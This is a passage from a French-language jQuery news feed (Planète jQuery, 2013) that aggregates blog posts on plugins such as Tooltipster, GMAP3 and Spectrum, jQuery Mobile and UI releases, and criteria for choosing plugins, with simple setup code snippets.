+<p><strong>Edit du 6 mars 2013 : </strong>apparemment cette bibliothèque a quelques soucis majeurs, voire le commentaire de check_ca (<a title="http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-107/#comment-3073" href="http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-107/#comment-3073" target="_blank">http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-107/#comment-3073</a>)</p>
+<p><a title="MetTile" href="http://codecanyon.net/item/mettile-a-package-of-jquery-metro-ui-tiles/full_screen_preview/4158455?ref=jqueryrain" target="_blank">MetTile</a>, un ensemble de tuiles graphiques pour simuler l’interface de Metro, la dernière UI de Microsoft. Et pour une fois, ce kit est vraiment réussi.</p>
+<p><a title="jQuery.IO" href="https://github.com/sporto/jquery_io.js" target="_blank">jQuery.IO</a>, un plugin qui permet de basculer de façon aisée d’un format de données à un autre.</p>
+<p>Encore une fois, les liens de cette chronique sont disponibles sur <a title="Episode 107" href="https://www.evernote.com/pub/mathrobin/episode107" target="_blank">un carnet Evernote dédié</a>.</p>
+ <p><a href="http://www.mathieurobin.com/?flattrss_redirect&amp;id=2904&amp;md5=e8dbf8c0244dc3e076185639db4d52e3" title="Flattr" target="_blank"><img src="http://www.mathieurobin.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!" /></a></p><p><br/><i>Article original de <a href="http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-107/" title="Voir l'article original">MathieuRobin</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.megaptery.com/2013/03/tooltipster-tooltip-jquery-moderne-flexible.html"><title>Megaptery : Tooltipster, une tooltip jQuery moderne et flexible</title><link>http://www.megaptery.com/2013/03/tooltipster-tooltip-jquery-moderne-flexible.html</link><dc:date>2013-03-03T20:57:20+00:00</dc:date><dc:language>fr</dc:language><dc:creator>Megaptery</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p><strong>Tooltipster</strong> est un plugin jQuery qui permet de mettre en place des infobulles, aussi appelées « tooltip », au rollover sur n’importe quel élément HTML. Facile à prendre en main, le script est moderne et flexible avec une interface totalement customisable.</p>
+<p><span></span></p>
+<h3>Une infobulle à base de CSS</h3>
+<p>Le plugin génère des infobulles simples et élégantes dont le style est entièrement <strong>personnalisable via CSS</strong> (typographie, couleur, padding, ombres, etc) et met à disposition plusieurs paramètres de configuration : position de la tooltip par rapport à la souris, délai d’apparition, largeur automatique ou fixe, affichage et couleur de la flêche, placement « intelligent » pour éviter les collisions… etc. Plusieurs thèmes CSS sont disponibles pour skinner vos tooltips, que vous pouvez bien sûr modifier à votre convenance.</p>
+<p><img src="http://www.megaptery.com/wp-content/uploads/2013/03/tooltipster_jquery.jpg" alt="tooltipster_jquery" class="aligncenter size-full wp-image-5312" /></p>
+<p>Le contenu de l’infobulle peut provenir de différentes sources (en brut dans le JS, <em>title</em> d’un lien, ou encore appel AJAX) et il existe des fonctions de callback. On retrouve également un paramètre <em>animation</em> qui détermine la manière dont l’infobulle apparaît en arrivée et en sortie, le tout géré en full CSS via les transitions CSS3 (sauf pour IE). Vous pouvez donc modifier ou créer vos propres animations via la feuille de style fournie avec le script. Vous l’aurez compris, le plugin est assez <strong>modulable</strong>.</p>
+<h3>Mise en place d’une infobulle</h3>
+<p>On commence par inclure jQuery et le plugin Tooltipster (feuille de style et script JS) que vous pouvez télécharger aussi bien sur le site officiel du plugin que sur GitHub :</p>
+<pre>
+<link rel="stylesheet" type="text/css" href="css/tooltipster.css" />
+<script type="text/javascript" src="js/jquery.min.js"></script>
+<script type="text/javascript" src="js/jquery.tooltipster.min.js"></script>
+</pre>
+<p>On définit une classe CSS (ici <em>tooltip</em>) à appliquer sur les éléments HTML sur lesquels on veut afficher les infobulles. Par défaut, Tooltipster utilise l’attribut <em>title</em> pour remplir la bulle, que ce soit une <em>div</em>, une image ou un lien. A noter que le script nous permet d’utiliser n’importe quelle balise HTML dans l’attribut <em>title</em>. Vous pouvez par exemple insérer des images, à condition de spécifier ses dimensions dans les attributs <em>width</em> et <em>height</em>, ou des balises de formatage de texte.</p>
+<pre>
+<a title="Megaptery, explorez les profondeurs du web" href="http://www.megaptery.com/" class="tooltip">
+ <img src="http://www.megaptery.com/megaptery_250x250.jpg" width="250" height="250" />
+</a>
+</pre>
+<p>On termine par activer le plugin jQuery. Pour cela, on appelle Tooltipster sur la classe CSS définie précédemment et votre infobulle est alors fonctionnelle :</p>
+<pre>
+$(document).ready(function() {
+ $('.tooltip').tooltipster();
+});
+</pre>
+<h3>Utilisation des thèmes CSS</h3>
+<p>Le style de vos infobulles peut être facilement changé en modifiant le thème par défaut de Tooltipster qui se trouve dans le fichier <em>tooltipster.css</em>. Vous avez également la possibilité d’ajouter des nouveaux thèmes, très pratique si vous souhaitez en utiliser plusieurs sur votre site). Pour cela, partez de l’exemple et ajouter votre touche personnelle :</p>
+<pre>
+.my-custom-theme {
+ border-radius: 5px;
+ border: 2px solid #000;
+ background: #4c4c4c;
+ color: #fff;
+}
+
+.my-custom-theme .tooltipster-content {
+ font-family: Arial, sans-serif;
+ font-size: 14px;
+ line-height: 16px;
+ padding: 8px 10px;
+}
+</pre>
+<p>Il vous suffit alors de sélectionner votre thème personnalisé via le paramètre <em>theme</em> comme ceci :</p>
+<pre>
+$('.tooltip').tooltipster({
+ theme: '.my-custom-theme'
+});
+</pre>
+<p>Pour conclure, Tooltipster est un plugin jQuery rapide à mettre en place pour afficher des infobulles entièrement customisables.</p>
+<p><strong>Requis</strong> : jQuery<br />
+<strong>Compatibilité</strong> : Firefox, Chrome, Opera, Safari, IE8+<br />
+<strong>Démonstration</strong> : <a href="http://calebjacob.com/tooltipster/">http://calebjacob.com/tooltipster/</a><br />
+<strong>Licence</strong> : MIT</p><p><br/><i>Article original de <a href="http://www.megaptery.com/2013/03/tooltipster-tooltip-jquery-moderne-flexible.html" title="Voir l'article original">Megaptery</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.lafermeduweb.net/billet/spectrum-un-colorpicker-jquery-tres-complet-1527.html"><title>LaFermeDuWeb : Spectrum - Un colorpicker jQuery très complet</title><link>http://www.lafermeduweb.net/billet/spectrum-un-colorpicker-jquery-tres-complet-1527.html</link><dc:date>2013-02-27T09:12:06+00:00</dc:date><dc:language>fr</dc:language><dc:creator>LaFermeDuWeb</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<div>
+ <a href="http://www.lafermeduweb.net/billet/spectrum-un-colorpicker-jquery-tres-complet-1527.html">
+ <img style="border: 1px solid #000000;" src="http://www.lafermeduweb.net/images/billets/2013-02/spectrum-colorpicker-javascript_topBillet.jpg" alt="Spectrum - Un colorpicker jQuery très complet" />
+ </a>
+ </div>
+ <div>Spectrum est un plugin jQuery permettant de créer un colorpicker très complet pour vos applications web et mobiles.</div><p><br/><i>Article original de <a href="http://www.lafermeduweb.net/billet/spectrum-un-colorpicker-jquery-tres-complet-1527.html" title="Voir l'article original">LaFermeDuWeb</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-106/"><title>MathieuRobin : Chroniques jQuery, épisode 106</title><link>http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-106/</link><dc:date>2013-02-26T14:27:23+00:00</dc:date><dc:language>fr</dc:language><dc:creator>MathieuRobin</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p>Salut tout le monde ! Désolé pour le retard de publication mais j’ai eu vraiment beaucoup de boulot et un peu de vie de famille aussi.</p>
+<p>Heureusement pas grand chose à signaler cette semaine, la seule nouvelle qui a retenu mon attention est <strong>la sortie de jQuery Mobile 1.3</strong>.</p>
+<p><a title="jQuery Mobile 1.3.0 Released" href="http://jquerymobile.com/blog/2013/02/20/jquery-mobile-1-3-0-released/" target="_blank">L’annonce</a> publiée mercredi par Todd Parker alors que prévenue lundi à l’origine, mais bon, les gars de l’équipe restent des volontaires, ils font au possible. Rien à redire donc, d’autant que je connais ça aussi.</p>
+<p>L’accent pour cette nouvelle version a notamment été mis sur l’approche du responsive design. Une question récurrente est l’utilisation ou non du pur responsive ou mélanger un site classique et un site mobile. Leur réponse est : les 2. Il semble pratique en effet d’avoir un site consultable partout et un site vraiment dédié à un usage mobile optimisé.</p>
+<p>Au passage, petite info bonne à savoir, ils ont travaillé pas mal donc sur porter en CSS ce qu’il était possible de faire avec au lieu de le faire en JS.</p>
+<p>De nouveaux widgets ont fait leur apparition :</p>
+<ul>
+<li>les <a title="jQuery Mobile - Pänels" href="http://view.jquerymobile.com/1.3.0/docs/widgets/panels/" target="_blank">Panels</a> ;</li>
+<li>les <a title="Table: Reflow" href="http://view.jquerymobile.com/1.3.0/docs/widgets/table-reflow/" target="_blank">tableaux responsives</a> ;</li>
+<li>le <a title="Column-Toggle Table Widget" href="http://api.jquerymobile.com/table-columntoggle/" target="_blank">sélecteur de colonnes</a> ;</li>
+<li>le <a title="Rangeslider Widget" href="http://api.jquerymobile.com/rangeslider/" target="_blank">dual range slider</a> ;</li>
+<li>les <a title="Grids" href="http://view.jquerymobile.com/1.3.0/docs/widgets/grids/" target="_blank">grilles responsives</a>.</li>
+</ul>
+<p>Le support de IE 10 et Windows Phone 8 vient compléter la liste des choses clés.<span> </span><span>Evidemment, jQuery 1.9.1 est supporté et ils sont confiants sur le support de la très proche jQuery 2.0. à venir.</span></p>
+<p>Un évènement facilitant la navigation. Je vous invite à jouer avec <a title="Navigate" href="http://api.jquerymobile.com/navigate/" target="_blank">$.mobile.navigate</a>.</p>
+<p>Dans les plus petites  modifs restant bien pratiques, vous pouvez choisir l’emplacement du bouton de fermeture ou carrément le désactiver. Vous pouvez aussi refuser le clic à l’extérieur comme pouvant fermer les popups, les transformant ainsi en fenêtre modale. Bien pratique à l’occasion.</p>
+<p>Coté sites, vous avez à votre disposition <a title="Demo center" href="http://view.jquerymobile.com/1.3.0/" target="_blank">un nouveau site de démonstration</a> et de <a title="Widgets documentation" href="http://api.jquerymobile.com/category/widgets/" target="_blank">documentation</a>.</p>
+<p>Attention, alerte au deprecated, <strong>les nested listviews sont désormais deprecated</strong>, leur support sera supprimé avec la 1.4. Commencez donc à porter votre code si vous voulez pouvoir assurer les mises à jour.</p>
+<p>Vous pouvez accéder au <a title="Changelog jQuery Mobile 1.3" href="http://jquerymobile.com/blog/2013/02/20/jquery-mobile-1-3-0-released/#changelog" target="_blank">changelog complet</a> et comme d’habitude à <a title="Episode 106 sur Evernote" href="https://www.evernote.com/pub/mathrobin/episode106" target="_blank">mon carnet Evernote partagé dédié</a>.</p>
+<p>
+ <p><a href="http://www.mathieurobin.com/?flattrss_redirect&amp;id=2896&amp;md5=8f760243da615a978d6faf8fccd3f0a6" title="Flattr" target="_blank"><img src="http://www.mathieurobin.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!" /></a></p><p><br/><i>Article original de <a href="http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-106/" title="Voir l'article original">MathieuRobin</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.lafermeduweb.net/billet/fancy-input-donnez-du-style-a-vos-input-et-textarea-en-css3-1525.html"><title>LaFermeDuWeb : Fancy Input - Donnez du style à vos input et textarea en CSS3</title><link>http://www.lafermeduweb.net/billet/fancy-input-donnez-du-style-a-vos-input-et-textarea-en-css3-1525.html</link><dc:date>2013-02-25T09:16:15+00:00</dc:date><dc:language>fr</dc:language><dc:creator>LaFermeDuWeb</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<div>
+ <a href="http://www.lafermeduweb.net/billet/fancy-input-donnez-du-style-a-vos-input-et-textarea-en-css3-1525.html">
+ <img style="border: 1px solid #000000;" src="http://www.lafermeduweb.net/images/billets/2013-02/fancy-input-css3_topBillet.jpg" alt="Fancy Input - Donnez du style à vos input et textarea en CSS3" />
+ </a>
+ </div>
+ <div>Fancy Input est un plugin jQuery permettant de mettre des effets de frappe élégants et dynamiques sur vos input et textarea grâce à du CSS3.</div><p><br/><i>Article original de <a href="http://www.lafermeduweb.net/billet/fancy-input-donnez-du-style-a-vos-input-et-textarea-en-css3-1525.html" title="Voir l'article original">LaFermeDuWeb</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://js.4design.tl/diyslider-slider-leger-et-personnalisable-1524"><title>Js4Design : DIYSlider — Slider léger et personnalisable</title><link>http://js.4design.tl/diyslider-slider-leger-et-personnalisable-1524</link><dc:date>2013-02-18T16:20:13+00:00</dc:date><dc:language>fr</dc:language><dc:creator>Js4Design</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p><a href="http://pioul.fr/jquery-diyslider" target="_blank">DIYSlider</a> est un script jQuery léger et personnalisable dont le but est de servir de fondations à vos développements de… sliders ! Quelques exemples d’utilisation <a href="http://jsfiddle.net/pioul/ba5jh/4/" target="_blank">ici</a> ou <a href="http://jsfiddle.net/pioul/7Yf34/" target="_blank">là</a>. Le principe est de transformer une série de div en diaporama avec une foultitude d’options, de méthodes et d’évènements, pour une modique taille de 3,56 kb ou 1,14 kb gzippé !<span></span></p>
+<p>→ DIYSlider est <a href="https://github.com/pioul/jQuery.DIYSlider" target="_blank">disponible sur Github</a>.</p><p><br/><i>Article original de <a href="http://js.4design.tl/diyslider-slider-leger-et-personnalisable-1524" title="Voir l'article original">Js4Design</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-105/"><title>MathieuRobin : Chroniques jQuery, épisode 105</title><link>http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-105/</link><dc:date>2013-02-18T09:09:11+00:00</dc:date><dc:language>fr</dc:language><dc:creator>MathieuRobin</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p>Hello tout le monde ! La chronique est vraiment de retour, je vous l’avais promis, je m’y tiens <img src="http://www.mathieurobin.com/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /> </p>
+<p>Côté officiel, on a <strong>la sortie de jQuery UI 1.10.1 !</strong></p>
+<p>Comme d’habitude, c’est Scott González qui se colle à <a title="jQuery UI 1.10.1" href="http://blog.jqueryui.com/2013/02/jquery-ui-1-10-1/" target="_blank">l’annonce de cette version de maintenance</a>, la première de la 1.10. Celle-ci n’apporte rien de plus que des correctifs de bogues pour les widgets Accordion, Autocomplete, Datepicker, Dialog, Menu, Slider, Draggable, Position, Effects ainsi qu’au framework CSS.</p>
+<p>Comme d’habitude, le <a title="jQuery UI 1.10.1 Changelog" href="http://jqueryui.com/changelog/1.10.1/" target="_blank">changelog est disponible</a> et <a title="jQuery UI 1.10 Upgrade Guide" href="http://jqueryui.com/upgrade-guide/1.10/" target="_blank">le guide de mise à jour</a> a lui aussi été mis à jour.</p>
+<p>Et on a aussi <a title="jQuery Mobile Team Meeting" href="http://jquery.org/updates/2013/02/14/status-update-145/" target="_blank">les notes de la dernière réunion de l’équipe de jQuery Mobile</a>. Pas mal d’infos sont donc disponibles pour nous mettre l’eau à la bouche :</p>
+<ul>
+<li><span>La version finale de la 1.3.0 sera disponible normalement aujourd’hui ;</span></li>
+<li>Nouvelle version du site de documentation ;</li>
+<li>Un apport supplémentaire de démos est en travail pour aujourd’hui aussi.</li>
+</ul>
+<p>Des trucs sympas en prévision quoi.</p>
+<p>Et pour terminer, un tutoriel assez balaise sur <a title="Deferreds and Promises in JavaScript" href="http://flaviocopes.com/deferred-and-promises-in-javascript/" target="_blank">l’usage des objets Deferred et Promise</a>, notamment dans jQuery mais aussi EmberJS. Je le conseille sincèrement à la lecture, c’est un beau morceau.</p>
+<p>Comme d’habitude, les liens ici présents sont disponibles sur un <a title="Evernote - Chroniques, épisode 105" href="https://www.evernote.com/pub/mathrobin/episode105" target="_blank">carnet partagé dédié sur Evernote</a>. Pour rappel, <a title="Toutes mes ressources jQuery" href="http://www.mathieurobin.com/2012/12/toutes-mes-ressources-jquery/" target="_blank">pourquoi je partage sur Evernote et comme s’en servir</a>.</p>
+ <p><a href="http://www.mathieurobin.com/?flattrss_redirect&amp;id=2857&amp;md5=95e3899c529ae754e3fc14aea6b0fb06" title="Flattr" target="_blank"><img src="http://www.mathieurobin.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!" /></a></p><p><br/><i>Article original de <a href="http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-105/" title="Voir l'article original">MathieuRobin</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://blog.ludikreation.com/2013/02/14/gmap3-plugin-jquery-facilitez-vous-lintegration-de-google-maps/"><title>LudiKreation : GMAP3 – Plugin jQuery – Facilitez-vous l’intégration de Google Maps</title><link>http://blog.ludikreation.com/2013/02/14/gmap3-plugin-jquery-facilitez-vous-lintegration-de-google-maps/</link><dc:date>2013-02-14T12:32:26+00:00</dc:date><dc:language>fr</dc:language><dc:creator>LudiKreation</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<div></div>
+<p>Il y avait quelques temps déjà que je devais vous faire un nouvel article sur le <strong>plugin jQuery GMAP3</strong>, plugin qui facilite grandement l’intégration de <strong>Google Maps</strong> sur vos sites web et le tout via le <strong>Framework jQuery</strong>.</p>
+<p>Je vous avais déjà présenté ce <strong>plugin jQuery</strong> sur d’autres articles du blog, comme sur <a href="http://blog.ludikreation.com/2011/11/24/gmap3-plugin-jquery-pour-api-google-maps-3eme-version/" title="GMAP3">GMap3 – Plugin jQuery pour API Google Maps 3ème version</a>. Mais <strong>GMAP3</strong> a évolué et s’est vu doter d’un nouveau site web depuis.</p>
+<p>Certes, <strong>Google</strong> facilite déjà beaucoup l’intégration de son <strong>API</strong> sur les sites web, mais via <strong>GMAP3</strong> c’est encore plus simple et surtout avec <strong>jQuery</strong>.</p>
+<p><img src="http://blog.ludikreation.com/wp-content/uploads/logo-gmap3.png" alt="logo-gmap3" width="198" height="78" class="aligncenter size-full wp-image-1130" /></p>
+<p>En plus de pouvoir utiliser toutes les méthodes natives à l’<strong>API</strong> fournie par <strong>Google</strong>, <strong>GMAP3</strong> va vous permettre, entre autre, de :</p>
+<ul>
+<li>Customiser vos maps</li>
+<li>Créer vos menus contextuels</li>
+<li>D’ajouter des recherches d’adresses avec auto-completion</li>
+<li>Créer vos marqueurs sur les maps</li>
+<li>Afficher le streetview de manière différente</li>
+<li>etc…</li>
+</ul>
+<p>Le tout aisément, sans compter les méthodes comme : overlays, clusters, callbacks, events etc… présentes dans de nombreux <strong>plugins jQuery</strong>.</p>
+<p>L’utilisation de base de ce <strong>plugin jQuery</strong> :</p>
+<p>Intégration des librairies qui vont être utilisées (jQuery, googlemaps et gmap3)</p>
+<div><div><script type="text/javascript" src="js/jquery.js"></script><br />
+<script type="text/javascript"<br />
+src="http://maps.google.com/maps/api/js?sensor=false&amp;amp;language=en"><br />
+<script type="text/javascript" src="js/gmap3.min.js"></script></div></div>
+<p>Le code jQuery pour l’affichage d’une map Google Maps :</p>
+<div><div>$("#my_map").gmap3();</div></div>
+<p>La balise div d’accueil de la map :</p>
+<div><div><div id="my_map"></div></div></div>
+<p>Puis un peu de CSS minimum pour donner une dimension à la balise div d’accueil :</p>
+<div><div>#my_map{<br />
+ height: 350px;<br />
+ width: 600px;<br />
+}</div></div>
+<p>Vous l’aurez compris, c’est simple, vous avez une page de démo via <a href="http://gmap3.net/en/pages/19-demo/" title="GMAP3 démo">ce lien</a> afin de voir une partie de ce que l’on peut faire avec ce plugin jQuery.</p>
+<p>Site officiel du <strong>plugin jQuery GMAP3</strong> : <a href="http://gmap3.net" title="Plugin jQuery GMAP3">http://gmap3.net</a><br />
+<a href="http://gmap3.net/en/catalog/" title="Documentation GMAP3">Documentation GMAP3</a><br />
+<a href="http://gmap3.net/en/upload/gmap3/gmap3v5.0b.zip" title="Téléchargement GMAP3">Téléchargement GMAP3</a></p>
+<p><strong>Articles qui peuvent vous intéresser :</strong></p>
+<ul>
+<li><a href="http://blog.ludikreation.com/2013/01/23/growl-plugin-jquery-la-simplebox">Growl – Plugin jQuery – La SimpleBox</a></li>
+<li><a href="http://blog.ludikreation.com/2013/01/16/quicksearch-plugin-jquery-la-recherche-facile-dans-vos-listings">quickSearch – Plugin jQuery – La recherche facile dans vos listings</a></li>
+<li><a href="http://blog.ludikreation.com/2012/10/17/caroufredsel-plugin-jquery-le-carrousel-customisable">carouFredSel – Plugin jQuery – Le carrousel customisable</a></li>
+<li><a href="http://blog.ludikreation.com/2012/08/03/tiny-circleslider-plugin-jquery-le-slider-en-cercle-original">Tiny Circleslider – Plugin jQuery – Le slider en cercle original</a></li>
+<li><a href="http://blog.ludikreation.com/2012/07/23/jnotify-plugin-jquery-la-notification-a-portee-de-clic">jNotify – Plugin jQuery – La notification à portée de clic</a></li>
+</ul>
+<p><iframe src="http://www.facebook.com/widgets/like.php?href=http://blog.ludikreation.com/2013/02/14/gmap3-plugin-jquery-facilitez-vous-lintegration-de-google-maps"<br />
+ scrolling="no" frameborder="0"<br />
+ style="border:none; width:540px; height:50px"></iframe></p><p><br/><i>Article original de <a href="http://blog.ludikreation.com/2013/02/14/gmap3-plugin-jquery-facilitez-vous-lintegration-de-google-maps/" title="Voir l'article original">LudiKreation</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.lafermeduweb.net/billet/threesixty-slider-un-plugin-jquery-de-slider-d-image-a-360-1520.html"><title>LaFermeDuWeb : Threesixty Slider - Un plugin jQuery de slider d'image à 360°</title><link>http://www.lafermeduweb.net/billet/threesixty-slider-un-plugin-jquery-de-slider-d-image-a-360-1520.html</link><dc:date>2013-02-14T09:19:23+00:00</dc:date><dc:language>fr</dc:language><dc:creator>LaFermeDuWeb</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<div>
+ <a href="http://www.lafermeduweb.net/billet/threesixty-slider-un-plugin-jquery-de-slider-d-image-a-360-1520.html">
+ <img style="border: 1px solid #000000;" src="http://www.lafermeduweb.net/images/billets/2013-02/slider-360-jquery_topBillet.jpg" alt="Threesixty Slider - Un plugin jQuery de slider dimage à 360°" />
+ </a>
+ </div>
+ <div>Threesixty Slider, comme son nom l'indique, est un plugin jQuery permettant de mettre en place des sliders d'images à 360°</div><p><br/><i>Article original de <a href="http://www.lafermeduweb.net/billet/threesixty-slider-un-plugin-jquery-de-slider-d-image-a-360-1520.html" title="Voir l'article original">LaFermeDuWeb</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.mathieurobin.com/2013/02/comment-bien-choisir-vos-plugins/"><title>MathieuRobin : Comment bien choisir vos plugins ?</title><link>http://www.mathieurobin.com/2013/02/comment-bien-choisir-vos-plugins/</link><dc:date>2013-02-13T09:11:10+00:00</dc:date><dc:language>fr</dc:language><dc:creator>MathieuRobin</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p>J’ai eu plusieurs fois de longues discussions avec différentes personnes ces derniers mois à propos des plugins jQuery. Souvent très intéressantes et avec une problématique toujours récurrente. <em><strong>Comment choisir ses plugins ?</strong></em></p>
+<p>Il est vrai que la question est délicate mais certains critères sont simples et permettent de faire un énorme tri. Je vous en expose quelques uns ici, non triés, vous pouvez y conférer l’importance qui vous convient.</p>
+<p><strong>Critère n°1 : l’activité du plugin</strong></p>
+<p>Quand vous utilisez un logiciel, c’est comme lorsque vous utilisez une voiture ou, mieux, un ascenseur. En général, vous appréciez que quelqu’un soit capable de vous aider. Si possible un vrai expert de la technologie concernée qui peut réellement agir efficacement.</p>
+<p>Un plugin, comme tout logiciel, doit encore être maintenu. En une phrase : je vous laisse à votre imagination pour un ascenseur non maintenu.</p>
+<p><strong>Critère n°2 : Responsive design</strong></p>
+<p>De mémoire, les premières publications concernant un design web dynamiquement adaptatif pour les mobiles datent de novembre 2009 (<a title="Mobile First" href="http://www.lukew.com/ff/entry.asp?933" target="_blank">Mobile First</a>). C’était il y a un peu moins de 4 ans. Comme l’a très bien affirmé <a title="Kevin Schaaf" href="https://twitter.com/kevinpschaaf" target="_blank">Kevin Schaaf</a> de <a title="EnyoJS" href="http://enyojs.com/" target="_blank">Enyo</a> à <a title="dotJS" href="http://www.dotjs.eu/" target="_blank">dotJS</a> :  »<em>l’heure est venue d’arrêter de se demander si ça sera responsive ou non. Ça doit l’être, c’est tout</em>« .</p>
+<p>Le responsive design ne fait pas tout. Je ne sais quoi penser de la polémique à propos du sacrifice des sites mobiles dédiés au profit d’un unique site responsive. Il y a toute une question d’impact sur le SEO. Quoi qu’il en soit, que vous ayez un site mobile ou non, votre site doit être responsive.</p>
+<p><del>D’ailleurs une version responsive de ce blog est en cours de développement. L’API de WordPress est juste infâme.</del></p>
+<p><strong>Critère n°3 : les tests</strong></p>
+<p>On reste dans la métaphore ascensionnelle avec l’ascenseur qui sera plus parlante que la voiture. Sincèrement, vous monteriez dans un ascenseur en sachant pertinemment que son constructeur/installateur n’a fait aucun test hormis ceux à la conception en usine ?</p>
+<p><strong>Critère n°4 : la documentation</strong></p>
+<p>Pour le coup, changement de métaphore. Vous aimez bien monté les meubles d’un certain fabricant suédois sans plans ?</p>
+<p><strong>Critère n°5 : l’accès aux sources</strong></p>
+<p>Arrêtons de charger des plugins à droite à gauche sur des sites dédiés plus ou moins bien référencés. GitHub existe, BitBucket aussi, le partage de code est facile, simple et plus qu’efficace. Un développeur qui garde pour lui son code ne mérite plus à l’heure actuelle qu’on utilise son travail. Et accessoirement, c’est surtout une question de performances et de qualité de code. Le fait de pouvoir plancher à plusieurs sur un problème peut beaucoup aider en général.</p>
+<p>Des annuaires de qualité existent, je pense par exemple au <a title="Plugins jQuery" href="http://plugins.jquery.com/" target="_blank">site officiel</a> fraîchement refait. Ou à <a title="jQuery Rain" href="http://www.jqueryrain.com/" target="_blank">jQuery Rain</a>. Ou encore des testeurs en chaîne tels que l’ami <a title="Megaptery" href="http://www.megaptery.com" target="_blank">Megaptery</a> ou encore <a title="Js4Design" href="http://js.4design.tl/" target="_blank">Js4Design</a>. Il est rare que je cherche un plugin ailleurs que sur ces deux derniers sites pour une utilisation intensive professionnelle.</p>
+<p><strong>Critère n°6 : le prix</strong></p>
+<p>La gratuité d’un soft, c’est très bien. Mais ça ne fait pas tout. Des sites comme <a title="CodeCanyon" href="http://codecanyon.net/category/javascript" target="_blank">CodeCanyon</a>, proposent d’excellentes ressources payantes. Mais parfois, il revient moins cher d’acheter un plugin très bien réalisé quelques $/€ plutôt que de passer plusieurs heures à déboguer/adapter un plugin trouver gratuitement.</p>
+<p><strong>Critère n°7 : la compatibilité</strong></p>
+<p>Je ne vous ferai pas l’affront de réclamer que vos plugins soient <a title="Pourquoi continuer de supporter IE 6" href="http://www.mathieurobin.com/2012/12/pourquoi-continuer-de-supporter-ie-6/" target="_blank">compatibles IE 6</a> ou Netscape, mais sur tous les navigateurs de moins de 5 ans d’age, ce n’est pas trop demander, surtout quand on s’appuie sur jQuery qui se charge de l’essentiel.</p>
+<p><strong>Conclusion</strong></p>
+<p>Ce sont des règles d’or pour moi, mes plugins ne les respectent pas toutes, j’y travaille.  Cependant elles peuvent vous éviter un paquet de soucis.</p>
+ <p><a href="http://www.mathieurobin.com/?flattrss_redirect&amp;id=2750&amp;md5=0143a4e6e91be034ee6742f9df67af06" title="Flattr" target="_blank"><img src="http://www.mathieurobin.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!" /></a></p><p><br/><i>Article original de <a href="http://www.mathieurobin.com/2013/02/comment-bien-choisir-vos-plugins/" title="Voir l'article original">MathieuRobin</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-104/"><title>MathieuRobin : Chroniques jQuery, épisode 104</title><link>http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-104/</link><dc:date>2013-02-11T09:09:10+00:00</dc:date><dc:language>fr</dc:language><dc:creator>MathieuRobin</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p>Retour de la chronique après des semaines d’inactivité. Pour celle-ci, je ne serai malheureusement pas très complet et détaillé, pas le temps de revenir sur deux semaines pleines d’actualité mais le retour à la normale est en cours.</p>
+<p>Du côté de l’officiel, on a la mise à disposition du <strong>premier patch jQuery 1.9.1 !</strong></p>
+<p>Essentiellement des correctifs de bogues et de régressions, je vous laisse lire le changelog  et le <a title="jQuery Core 1.9 Upgrade Guide" href="http://jquery.com/upgrade-guide/1.9/" target="_blank">guide de migration</a> sur <a title="jQuery 1.9.1 Released" href="http://blog.jquery.com/2013/02/04/jquery-1-9-1-released/" target="_blank">l’annonce officielle</a>.</p>
+<p>Du côté de jQuery Mobile, on a la <strong>RC1 de la 1.3</strong> qui est sorti. L’annonce officielle est disponible <a title="jQuery Mobile 1.3.0 RC1 Released" href="http://jquerymobile.com/blog/2013/02/04/jquery-mobile-1-3-0-rc1-released/" target="_blank">ici</a>. Des petites nouveautés sympathiques sont incluses. Il y a notamment les panels qui m’ont l’air pas mal.</p>
